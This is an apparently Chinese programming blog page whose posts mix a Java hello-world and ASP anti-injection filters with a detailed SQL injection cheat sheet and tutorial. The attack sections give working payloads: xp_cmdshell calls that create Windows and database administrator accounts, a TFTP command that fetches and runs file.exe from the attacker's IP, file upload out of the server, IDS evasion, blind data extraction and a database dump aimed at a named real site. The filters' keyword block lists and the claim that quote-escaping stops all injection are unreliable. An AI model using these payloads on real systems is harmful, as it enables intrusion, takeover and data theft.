posts - 23,comments - 12,trackbacks - 0
          第二章 Java編程環(huán)境
          2.1安裝java
          1、java工具包http://java.sun.com/j2se/1.4/install-windows.html
          2、設(shè)置執(zhí)行環(huán)境(windows 2000)
          PATH=c:\jdk\bin;
          3、安裝庫源文件和文檔
          jar xvf src.jar
          jar xvf j2sdkversion-doc.zip

          第一個java例子
          eg:Weclome.java

          public class Welcome
          {
          public static void main(String[] args)
          {
          String[] greeting=new String[3];
          greeting[0]="Welcome to Core Java";
          greeting[1]="by Car Horstman";
          greeting[2]="and Gary Cornell";
          for ( int i=0;i<greeting.length;i++)
          System.out.println(greeting[i]);
          }
          }

          posted @ 2006-06-23 13:25 my java 閱讀(879) | 評論 (3)編輯 收藏
          1、獲得表單中文本框的數(shù)據(jù):
          mySmartUpload.getRequest().getParameter("applyusrname")
          java.util.Enumeration e = mySmartUpload.getRequest().getParameterNames();
          posted @ 2006-06-23 09:34 my java 閱讀(745) | 評論 (0)編輯 收藏

          <%
          function sqlcheck(Str,errtype)
          if Instr(LCase(Str),"select ") > 0 or Instr(LCase(Str),"insert ") > 0 or Instr(LCase(Str),"delete ") > 0 or Instr(LCase(Str),"delete from ") > 0 or Instr(LCase(Str),"count(") > 0 or Instr(LCase(Str),"drop table") > 0 or Instr(LCase(Str),"update ") > 0 or Instr(LCase(Str),"truncate ") > 0 or Instr(LCase(Str),"asc(") > 0 or Instr(LCase(Str),"mid(") > 0 or Instr(LCase(Str),"char(") > 0 or Instr(LCase(Str),"xp_cmdshell") > 0 or Instr(LCase(Str),"exec master") > 0 or Instr(LCase(Str),"net localgroup administrators") > 0  or Instr(LCase(Str),"and ") > 0 or Instr(LCase(Str),"net user") > 0 or Instr(LCase(Str),"or ") > 0 then
           Response.write("<script language=javascript>" & vbcrlf & "window.location.href ='ShowError.asp?errtype=" & errtype & "'" & vbcrlf & "</script>")
           Response.End
          end if
          Str=Replace(Str,"_","")     '過濾SQL注入_
          Str=Replace(Str,"*","")     '過濾SQL注入*
          Str=Replace(Str," ","")     '過濾SQL注入空格
          Str=Replace(Str,chr(34),"")   '過濾SQL注入"
          Str=Replace(Str,chr(39),"")            '過濾SQL注入'
          Str=Replace(Str,chr(91),"")            '過濾SQL注入[
          Str=Replace(Str,chr(93),"")            '過濾SQL注入]
          Str=Replace(Str,chr(37),"")            '過濾SQL注入%
          Str=Replace(Str,chr(58),"")            '過濾SQL注入:
          Str=Replace(Str,chr(59),"")            '過濾SQL注入;
          Str=Replace(Str,chr(43),"")            '過濾SQL注入+
          Str=Replace(Str,"{","")            '過濾SQL注入{
          Str=Replace(Str,"}","")            '過濾SQL注入}
          sqlcheck=Str            '返回經(jīng)過上面字符替換后的Str
          end function
          %>


          function SafeRequest(ParaName,ParaType)
          '--- 傳入?yún)?shù) ---
          'ParaName:參數(shù)名稱-字符型
          'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

          Dim ParaValue
          ParaValue=Request(ParaName)
          If ParaType=1 then
          If not isNumeric(ParaValue) then
          Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
          Response.end
          End if
          Else
          ParaValue=replace(ParaValue,"'","''")
          End if
          SafeRequest=ParaValue
          End function


          Function SafeRequest(ParaValue,ParaType)
                 '--- 傳入?yún)?shù) ---
                 'ParaName:參數(shù)名稱-字符型
                 'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

                 'Dim ParaValue
                 'ParaValue=Request(ParaName)函數(shù)里面是不要加引號
                 If ParaType=1 then
                        If not isNumeric(ParaValue) then
                             Response.write " 參數(shù)" & ParaName & "必須為數(shù)字型!"
                               Response.end
                        End if
                 Else
                        ParaValue=replace(ParaValue,"'","")
               ParaValue=replace(ParaValue,";and 1=1","")
               ParaValue=replace(ParaValue,";and 1=2","")
               ParaValue=replace(ParaValue,";and user>0","")
               ParaValue=replace(ParaValue,">","")
               ParaValue=replace(ParaValue,"<","")
               ParaValue=replace(ParaValue,"=","")
               ParaValue=replace(ParaValue,"count","")
               ParaValue=replace(ParaValue,"select","")
               ParaValue=replace(ParaValue,"drop","")
               ParaValue=replace(ParaValue,"delect","")
               ParaValue=replace(ParaValue,"insert","")
               ParaValue=replace(ParaValue,"execute","")
               ParaValue=replace(ParaValue,"update","")    
               ParaValue=replace(ParaValue,"mid","")
               ParaValue=replace(ParaValue,"exec","")
               ParaValue=replace(ParaValue,"master","")
               ParaValue=replace(ParaValue,"char","")
               ParaValue=replace(ParaValue,"declare","")
               ParaValue=replace(ParaValue,"*","")
               ParaValue=replace(ParaValue,"%","")
               ParaValue=replace(ParaValue,"chr","")
               ParaValue=replace(ParaValue,"truncate","")
                 End if
                 SafeRequest=ParaValue
          End function
          '調(diào)用方式
          DirID=Request("DirID")'///數(shù)據(jù)目錄名稱參數(shù)/無則表示全部數(shù)據(jù)
          DirID=SafeRequest(DirID,1)


          Dim SQL_inbreakstr
          SQL_inbreakstr = "'|or|and|exec|insert|select|delete|update|drop|count|*|%|chr|mid|master|truncate|char|declare"
          SQL_inbreak = split(SQL_inbreakstr,"|")
          R_Q=Request.QueryString
          R_F=Request.Form
          IF R_Q<>"" THEN
           For i=0 To Ubound(SQL_inbreak)
            IF instr(R_Q,SQL_inbreak(i))>0 THEN
             Response.Write "*****"
                                     Response.End
            END IF
           Next
          End IF

          IF R_F<>"" THEN
           For i=0 To Ubound(SQL_inbreak)
            IF instr(R_F,SQL_inbreak(i))>0 THEN
             Response.Write "*****"
                                     Response.End
            END IF
           Next
          END IF


          <%
          '--------版權(quán)說明------------------
          'SQL通用防注入程序 V2.0 完美版
          '本程序由 火狐-楓知秋 獨立開發(fā)
          '對本程序有任何疑問請聯(lián)系本人
          'QQ:613548

          '--------定義部份------------------
          Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
          '自定義需要過濾的字串,用 "楓" 分隔
          Fy_In = "'楓;楓and楓exec楓insert楓select楓delete楓update楓count楓*楓%楓chr楓mid楓master楓truncate楓char楓declare"
          '----------------------------------
          %>

          <%
          Fy_Inf = split(Fy_In,"楓")
          '--------POST部份------------------
          If Request.Form<>"" Then
          For Each Fy_Post In Request.Form

          For Fy_Xh=0 To Ubound(Fy_Inf)
          If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
          '--------寫入數(shù)據(jù)庫-------頭--------
          Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
          Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
          Fy_db.open Fy_dbstr
          Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
          Fy_db.close
          Set Fy_db = Nothing
          '--------寫入數(shù)據(jù)庫-------尾--------

          Response.Write "<Script Language=JavaScript>alert('楓網(wǎng)SQL通用防注入系統(tǒng)提示↓\n\n請不要在參數(shù)中包含非法字符嘗試注入!\n\nHTTP://WwW.WrSkY.CoM  系統(tǒng)版本:V2.0(ASP)完美版');</Script>"
          Response.Write "非法操作!系統(tǒng)做了如下記錄↓<br>"
          Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
          Response.Write "操作時間:"&Now&"<br>"
          Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
          Response.Write "提交方式:POST<br>"
          Response.Write "提交參數(shù):"&Fy_Post&"<br>"
          Response.Write "提交數(shù)據(jù):"&Request.Form(Fy_Post)
          Response.End
          End If
          Next

          Next
          End If
          '----------------------------------

          '--------GET部份-------------------
          If Request.QueryString<>"" Then
          For Each Fy_Get In Request.QueryString

          For Fy_Xh=0 To Ubound(Fy_Inf)
          If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
          ''--------寫入數(shù)據(jù)庫-------頭--------
          Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
          Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
          Fy_db.open Fy_dbstr
          Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
          Fy_db.close
          Set Fy_db = Nothing
          '--------寫入數(shù)據(jù)庫-------尾--------

          Response.Write "<Script Language=JavaScript>alert('楓網(wǎng)SQL通用防注入系統(tǒng)提示↓\n\n請不要在參數(shù)中包含非法字符嘗試注入!\n\nHTTP://WwW.WrSkY.CoM  系統(tǒng)版本:V2.0(ASP)完美版');</Script>"
          Response.Write "非法操作!系統(tǒng)做了如下記錄↓<br>"
          Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
          Response.Write "操作時間:"&Now&"<br>"
          Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
          Response.Write "提交方式:GET<br>"
          Response.Write "提交參數(shù):"&Fy_Get&"<br>"
          Response.Write "提交數(shù)據(jù):"&Request.QueryString(Fy_Get)
          Response.End
          End If
          Next
          Next
          End If
          '----------------------------------
          %>

          可以防止所有得sql注入:
          Function SafeRequest(ParaName,ParaType)
           '--- 防止SQL注入 ---
           'ParaName:參數(shù)名稱-字符型
           'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)
           Dim ParaValue
           ParaValue=Request(ParaName)
           If ParaType=1 then
            If not isNumeric(ParaValue) then
             Response.write "<br><br><br><center><font color=red>參數(shù)" & ParaName & "必須為數(shù)字型!"
             Response.end
            End if
           Else
            ParaValue=replace(ParaValue,"'","''")
           End if
           SafeRequest=ParaValue
          End function
          來源:
          http://www.yesky.com/305/1899305.shtml

          posted @ 2006-02-05 10:23 my java 閱讀(642) | 評論 (0)編輯 收藏

          [獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
          update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]


          [獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
          update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數(shù)據(jù)表名'),字段列如:1) [ where 條件]


          也可以這樣更簡捷的獲取表名:


          select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)

          通過SQLSERVER注入漏洞建數(shù)據(jù)庫管理員帳號和系統(tǒng)管理員帳號[當(dāng)前帳號必須是SYSADMIN組]


          news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數(shù)據(jù)庫用戶用戶test,密碼為test
          news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456)
          news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執(zhí)行任何操作
          news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統(tǒng)用戶test,密碼為test
          news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統(tǒng)用戶test提升為管理員


          這樣,你在他的數(shù)據(jù)庫和系統(tǒng)內(nèi)都留下了test管理員賬號了

          下面是如何從你的服器下載文件file.exe后運行它[前提是你必須將你的電腦設(shè)為TFTP服務(wù)器,將69端口打開]


          id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--


          然后運行這個文件:
          id=2; exec master.dbo.xp_cmdshell 'file.exe';--


          下載服務(wù)器的文件file2.doc到本地TFTP服務(wù)器[文件必須存在]:


          id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--


          繞過IDS的檢測[使用變量]
          declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
          declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'

          posted @ 2006-02-05 10:04 my java 閱讀(293) | 評論 (0)編輯 收藏
          隨著B/S模式應(yīng)用開發(fā)的發(fā)展,使用這種模式編寫應(yīng)用程序的程序員也越來越多。但是由于這個行業(yè)的入門門檻不高,程序員的水平及經(jīng)驗也參差不齊,相當(dāng)大一部分程序員在編寫代碼的時候,沒有對用戶輸入數(shù)據(jù)的合法性進行判斷,使應(yīng)用程序存在安全隱患。用戶可以提交一段數(shù)據(jù)庫查詢代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。

          SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以目前市面的防火墻都不會對SQL注入發(fā)出警報,如果管理員沒查看IIS*志的習(xí)慣,可能被入侵很長時間都不會發(fā)覺。

          但是,SQL注入的手法相當(dāng)靈活,在注入的時候會碰到很多意外的情況。能不能根據(jù)具體情況進行分析,構(gòu)造巧妙的SQL語句,從而成功獲取想要的數(shù)據(jù),是高手與“菜鳥”的根本區(qū)別。

          根據(jù)國情,國內(nèi)的網(wǎng)站用ASP Access或SQLServer的占70%以上,PHP MySQ占L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯(lián)盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區(qū)。大家準(zhǔn)備好了嗎?Let's Go...

          入 門 篇

          如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好HTTP 錯誤信息前面的勾去掉。否則,不論服務(wù)器返回什么錯誤,IE都只顯示為HTTP 500服務(wù)器錯誤,不能獲得更多的提示信息。

          第一節(jié)、SQL注入原理

          以下我們從一個網(wǎng)www.19cn.com開始(注:本文發(fā)表前已征得該站站長同意,大部分都是真實數(shù)據(jù))。

          在網(wǎng)站首頁上,有名為“IE不能打開新窗口的多種解決方法”的鏈接,地址為:http://www.19cn.com/showdetail.asp?id=49,我們在這個地址后面加上單引號’,服務(wù)器會返回下面的錯誤提示:

          Microsoft JET Database Engine 錯誤 '80040e14'字符串的語法錯誤 在查詢表達式 'ID=49'' 中。

          /showdetail.asp,行8

          從這個錯誤提示我們能看出下面幾點:

          1.網(wǎng)站使用的是Access數(shù)據(jù)庫,通過JET引擎連接數(shù)據(jù)庫,而不是通過ODBC。

          2. 程序沒有判斷客戶端提交的數(shù)據(jù)是否符合程序要求。

          3. 該SQL語句所查詢的表中有一名為ID的字段。

          從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取你想到得到的資料。

          第二節(jié)、判斷能否進行SQL注入

          看完第一節(jié),有一些人會覺得:我也是經(jīng)常這樣測試能否注入的,這不是很簡單嗎?

          其實,這并不是最好的方法,為什么呢?
          首先,不一定每臺服務(wù)器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數(shù))之類語句的話,SQL注入是不會成功的,但服務(wù)器同樣會報錯,具體提示信息為處理 URL 時服務(wù)器上出錯。請和系統(tǒng)管理員聯(lián)絡(luò)。

          其次,部分對SQL注入有一點了解的程序員,認為只要把單引號過濾掉就安全了,這種情況不為少數(shù),如果你用單引號測試,是測不到注入點的那么,什么樣的測試方法才是比較準(zhǔn)確呢?答案如下:

          http://www.19cn.com/showdetail.asp?id=49

          http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1

          http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2

          這就是經(jīng)典的1=1、1=2測試法了,怎么判斷呢?看看上面三個網(wǎng)址返回的結(jié)果就知道了:

          可以注入的表現(xiàn):

          ① 正常顯示(這是必然的,不然就是程序有錯誤了)

          ② 正常顯示,內(nèi)容基本與①相同

          ③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內(nèi)容為空(程序加了on error resume next)不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉(zhuǎn)換時出錯。

            當(dāng)然,這只是傳入?yún)?shù)是數(shù)字型的時候用的判斷方法,實際應(yīng)用的時候會有字符型和搜索型參數(shù),我將在中級篇的“SQL注入一般步驟”再做分析。

          第三節(jié)、判斷數(shù)據(jù)庫類型及注入方法

          不同的數(shù)據(jù)庫的函數(shù)、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數(shù)據(jù)庫的類型。一般ASP最常搭配的數(shù)據(jù)庫是Access和SQLServer,網(wǎng)上超過99%的網(wǎng)站都是其中之一。

          怎么讓程序告訴你它使用的什么數(shù)據(jù)庫呢?來看看:

          SQLServer有一些系統(tǒng)變量,如果服務(wù)器IIS提示沒關(guān)閉,并且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:

          http://www.19cn.com/showdetail.asp?id=49;;and user>0

          這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發(fā)現(xiàn)這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在anduser>0,我們知道,user是SQLServer的一個內(nèi)置變量,它的值是當(dāng)前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數(shù)0比較,系統(tǒng)會先試圖將nvarchar的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉(zhuǎn)換數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數(shù)據(jù)庫的用戶名。在以后的篇幅里,大家會看到很多用這種方法的語句。

          順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators權(quán)限的角色,拿到了sa權(quán)限,幾乎肯定可以拿到主機的Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉(zhuǎn)換成int的列發(fā)生錯誤,而不是”sa”。

          如果服務(wù)器IIS不允許返回錯誤提示,那怎么判斷數(shù)據(jù)庫類型呢?我們可以從Access和SQLServer和區(qū)別入手,Access和SQLServer都有自己的系統(tǒng)表,比如存放數(shù)據(jù)庫中所有對象的表,Access是在系統(tǒng)表[msysobjects]中,但在Web環(huán)境下讀該表會提示“沒有權(quán)限”,SQLServer是在表[sysobjects]中,在Web環(huán)境下

          可正常讀取。

          在確認可以注入的情況下,使用下面的語句:

          http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from sysobjects)>0

          http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from msysobjects)>0

          如果數(shù)據(jù)庫是SQLServer,那么第一個網(wǎng)址的頁面與原頁面http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二個網(wǎng)址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

          如果數(shù)據(jù)庫用的是Access,那么情況就有所不同,第一個網(wǎng)址的頁面與原頁面完全不同;第二個網(wǎng)址,則視乎數(shù)據(jù)庫設(shè)置是否允許讀該系統(tǒng)表,一般來說是不允許的,所以與原網(wǎng)址也是完全不同。大多數(shù)情況下,用第一個網(wǎng)址就可以得知系統(tǒng)所用的數(shù)據(jù)庫類型,第二個網(wǎng)址只作為開啟IIS錯誤提示時的驗證。

          進 階 篇

          在入門篇,我們學(xué)會了SQL注入的判斷方法,但真正要拿到網(wǎng)站的保密內(nèi)容,是遠遠不夠的。接下來,我們就繼續(xù)學(xué)習(xí)如何從數(shù)據(jù)庫中獲取想要獲得的內(nèi)容,首先,我們先看看SQL注入的一般步驟:

          第一節(jié)、SQL注入的一般步驟

          首先,判斷環(huán)境,尋找注入點,判斷數(shù)據(jù)庫類型,這在入門篇已經(jīng)講過了。

          其次,根據(jù)注入?yún)?shù)類型,在腦海中重構(gòu)SQL語句的原貌,按參數(shù)類型主要分為下面三種:

          (A) ID=49 這類注入的參數(shù)是數(shù)字型,SQL語句原貌大致如下:
          Select * from 表名 where 字段=49
          注入的參數(shù)為ID=49 And [查詢條件],即是生成語句:
          Select * from 表名 where 字段=49 And [查詢條件]

          (B) Class=連續(xù)劇 這類注入的參數(shù)是字符型,SQL語句原貌大致概如下:
          Select * from 表名 where 字段=’連續(xù)劇’
          注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
          Select * from 表名 where 字段=’連續(xù)劇’ and [查詢條件] and ‘’=’’

          (C) 搜索時沒過濾參數(shù)的,如keyword=關(guān)鍵字,SQL語句原貌大致如下:
          Select * from 表名 where 字段like ’%關(guān)鍵字%’
          注入的參數(shù)為keyword=’ and [查詢條件] and ‘%’=’, 即是生成語句:
          Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

          接著,將查詢條件替換成SQL語句,猜解表名,例如:

          ID=49 And (Select Count(*) from Admin)>=0

          如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。

          如此循環(huán),直至猜到表名為止。

          表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

          有人會說:這里有一些偶然的成分,如果表名起得很復(fù)雜沒規(guī)律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術(shù),蒼蠅不叮無縫的蛋,無論多技術(shù)多高深的黑客,都是因為別人的程序?qū)懙貌粐?yán)密或使用者保密意識不夠,才有得下手。

          有點跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,我們在高級篇中會做介紹。

          最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。

          我們舉個例子,已知表Admin中存在username字段,首先,我們?nèi)〉谝粭l記錄,測試長度:

          http://www.19cn.com/showdetail.asp?id=49;;and (select top 1 len(username) from Admin)>0

          先說明原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

            當(dāng)然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發(fā)揮了。在得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

          id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

          同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數(shù)字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。

          第二節(jié)、SQL注入常用函數(shù)

          有SQL語言基礎(chǔ)的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數(shù)及命令。

          Access:asc(字符) SQLServer:unicode(字符)

          作用:返回某字符的ASCII碼

          Access:chr(數(shù)字) SQLServer:nchar(數(shù)字)

          作用:與asc相反,根據(jù)ASCII碼返回字符

          Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

          作用:返回字符串從N個字符起長度為L的子字符串,即N到N L之間的字符串

          Access:abc(數(shù)字) SQLServer:abc (數(shù)字)

          作用:返回數(shù)字的絕對值(在猜解漢字的時候會用到)

          Access:A between B And C SQLServer:A between B And C

          作用:判斷A是否界于B與C之間

          第三節(jié)、中文處理方法

          在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所了解,“中文恐懼癥”很快可以克服。

          先說一點常識:

          Access中,中文的ASCII碼可能會出現(xiàn)負數(shù),取出該負數(shù)后用abs()取絕對值,漢字字符不變。

          SQLServer中,中文的ASCII為正數(shù),但由于是UNICODE的雙位編碼,不能用函數(shù)ascii()取得ASCII碼,必須用函數(shù)unicode ()返回unicode值,再用nchar函數(shù)取得對應(yīng)的中文字符。


          了解了上面的兩點后,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數(shù)要注意、猜解范圍大一點外,方法是沒什么兩樣的。

          高 級 篇

          看完入門篇和進階篇后,稍加練習(xí),破解一般的網(wǎng)站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

          第一節(jié)、利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫

          SQLServer是一個功能強大的數(shù)據(jù)庫系統(tǒng),與操作系統(tǒng)也有緊密的聯(lián)系,這給開發(fā)者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

          http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

            分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲過程xp_cmdshell,這個存儲過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

          http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators/add”--

            將新建的帳號name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。

            ③ http://Site/url.asp?id=1 ;;and db_name()>0

          前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。

          http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:\inetpub\wwwroot\1.db’;--這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯暴露出的絕對路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網(wǎng)絡(luò)地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

            ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

          前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

          http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

          從⑤拿到表名后,用object_id(‘表名’)獲取表名對應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

            以上6點是我研究SQLServer注入半年多以來的心血結(jié)晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發(fā)方面的水平也得到很大的提高,呵呵,也許安全與開發(fā)本來就是相輔相成的吧。

          第二節(jié)、繞過程序限制繼續(xù)注入

          在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關(guān)的函數(shù),達到繞過程序限制的目的。

          在“SQL注入的一般步驟”一節(jié)中,我所用的語句,都是經(jīng)過我優(yōu)化,讓其不包含有單引號的;在“利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:

          簡單的如where xtype=’U’,字符U對應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992) nchar(25143)代替。

          第三節(jié)、經(jīng)驗小結(jié)

          1.有些人會過濾Select、Update、Delete這些關(guān)鍵字,但偏偏忘記區(qū)分大小寫,所以大家可以用selecT這樣嘗試一下。

          2.在猜不到字段名時,不妨看看網(wǎng)站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

          3.特別注意:地址欄的 號傳入程序后解釋為空格,+解釋為 號,%解釋為%號,具體可以參考URLEncode的相關(guān)介紹。

          4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。

          5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區(qū)別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準(zhǔn)確率會有極大的提高。

          防 范 方 法

          SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網(wǎng)上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴(yán)格,或者某個參數(shù)忘記檢查導(dǎo)致。在這里,我給大家一個函數(shù),代替ASP中的Request函數(shù),可以對一切的SQL注入Say NO,函數(shù)如下:

          function SafeRequest(ParaName,ParaType)
          '--- 傳入?yún)?shù) ---
          'ParaName:參數(shù)名稱-字符型
          'ParaType:參數(shù)類型-數(shù)字型(1表示以上參數(shù)是數(shù)字,0表示以上參數(shù)為字符)

          Dim ParaValue
          ParaValue=Request(ParaName)
          If ParaType=1 then
          If not isNumeric(ParaValue) then
          Response.write "參數(shù)" & ParaName & "必須為數(shù)字型!"
          Response.end
          End if
          Else
          ParaValue=replace(ParaValue,"'","''")
          End if
          SafeRequest=ParaValue
          End function

